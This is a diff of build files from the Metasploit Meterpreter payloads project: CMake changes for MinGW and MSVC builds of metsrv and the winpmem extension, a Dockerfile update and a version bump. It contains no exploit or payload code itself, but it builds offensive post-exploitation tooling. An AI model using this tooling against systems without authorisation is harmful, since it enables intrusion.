set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC)

View File

@ -312,4 +312,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -1,6 +1,6 @@
set(PROJECT_NAME ext_server_winpmem)
project(${PROJECT_NAME} C)
project(${PROJECT_NAME} C CXX)
include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
@ -10,21 +10,38 @@ add_definitions(
-D_UNICODE
)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
endif()
include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common)
include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/winpmem)
file(GLOB SRC_FILES
${SRC_DIR}/*.cpp
${SRC_DIR}/*.rc
${MOD_DEF_DIR}/extension.def
)
if(MSVC)
set(SRC_FILES ${SRC_FILES} ${SRC_DIR}/winpmem.rc)
else()
set(SRC_FILES ${SRC_FILES} ${SRC_DIR}/winpmem-mingw.rc)
endif()
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
if(MSVC)
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS
netapi32
mpr
ws2_32
)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC)

View File

@ -314,4 +314,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -7,7 +7,9 @@ add_definitions(
-D_CRT_SECURE_NO_WARNINGS
)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /GF /Gy /TP /MP")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /GF /Gy /TP /MP")
endif()
set(SRC_DIR ../../source/jpeg-8)
set(

View File

@ -54,6 +54,7 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Common", "Common", "{EDE086
..\source\common\common_command_ids.h = ..\source\common\common_command_ids.h
..\source\common\common_config.h = ..\source\common\common_config.h
..\source\common\common_core.h = ..\source\common\common_core.h
..\source\common\common_exports.h = ..\source\common\common_exports.h
..\source\common\common_list.h = ..\source\common\common_list.h
..\source\common\common_metapi.h = ..\source\common\common_metapi.h
..\source\common\common_pivot_tree.h = ..\source\common\common_pivot_tree.h

View File

@ -11,10 +11,12 @@ add_definitions(
-D_CRT_SECURE_NO_WARNINGS
)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
endif()
include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common)
include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/metsrv)
file(GLOB SRC_FILES
@ -23,15 +25,21 @@ file(GLOB SRC_FILES
)
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/metsrv.def\"")
set_source_files_properties(${MOD_DEF_DIR}/metsrv.def PROPERTIES HEADER_FILE_ONLY TRUE)
if(MSVC)
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/metsrv.def\"")
set_source_files_properties(${MOD_DEF_DIR}/metsrv.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS winhttp wininet crypt32)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC)
target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
else()
set(LINK_LIBS ${LINK_LIBS} ws2_32)
endif()
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
# Post processing (required for all Meterpreter DLLs)
editbin(${PROJECT_NAME} ${BIN_SUBSYSTEM})
copyoutput(${PROJECT_NAME} ${BIN_OUTPUT_DIR})

View File

@ -1,7 +1,7 @@
# To build the dev environment.
# docker build -t rapid7/build:meterpreter .
FROM ubuntu:14.04.5
FROM ubuntu:focal
MAINTAINER Brent Cook <bcook@rapid7.com> (@busterbcook)
ENV DEBIAN_FRONTEND noninteractive
@ -11,16 +11,22 @@ RUN apt-get update && \
apt-get dist-upgrade -y && \
apt-get -y install software-properties-common && \
dpkg --add-architecture i386 && \
apt-add-repository ppa:ubuntu-wine && \
apt-get update && \
apt-get -y install \
wine php5-cli python python3 \
bison flex gcc gcc-multilib jam make wget \
ruby rake bundler git \
maven openjdk-7-jdk && \
apt-get -y install bison flex gcc gcc-multilib jam make wget \
ruby rake bundler git \
mingw-w64-x86-64-dev mingw-w64-i686-dev \
g++-mingw-w64-i686 g++-mingw-w64-x86-64 \
gcc-mingw-w64-i686 gcc-mingw-w64-x86-64 \
cmake \
maven \
wine python python3 \
openjdk-8-jdk \
php-cli && \
apt-get clean && \
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
RUN update-java-alternatives --set java-1.8.0-openjdk-amd64
# Android NDK
RUN wget http://dl.google.com/android/ndk/android-ndk-r9d-linux-x86_64.tar.bz2 && \
tar -xvf android-ndk-r9d-linux-x86_64.tar.bz2 && \
@ -41,7 +47,7 @@ RUN echo y | /usr/local/android-sdk/tools/android update sdk --filter android-3
# Pre-cache Maven artifacts
RUN git clone https://github.com/rapid7/metasploit-payloads.git && \
cd metasploit-payloads/java && make && cd .. && rm -fr metasploit-payloads
cd metasploit-payloads/java && make ; cd .. && rm -fr metasploit-payloads
ENV ANDROID_HOME /usr/local/android-sdk
ENV ANDROID_NDK_HOME /usr/local/android-ndk

View File

@ -1,6 +1,6 @@
# -*- coding:binary -*-
module MetasploitPayloads
VERSION = '2.0.6'
VERSION = '2.0.7'
def self.version
VERSION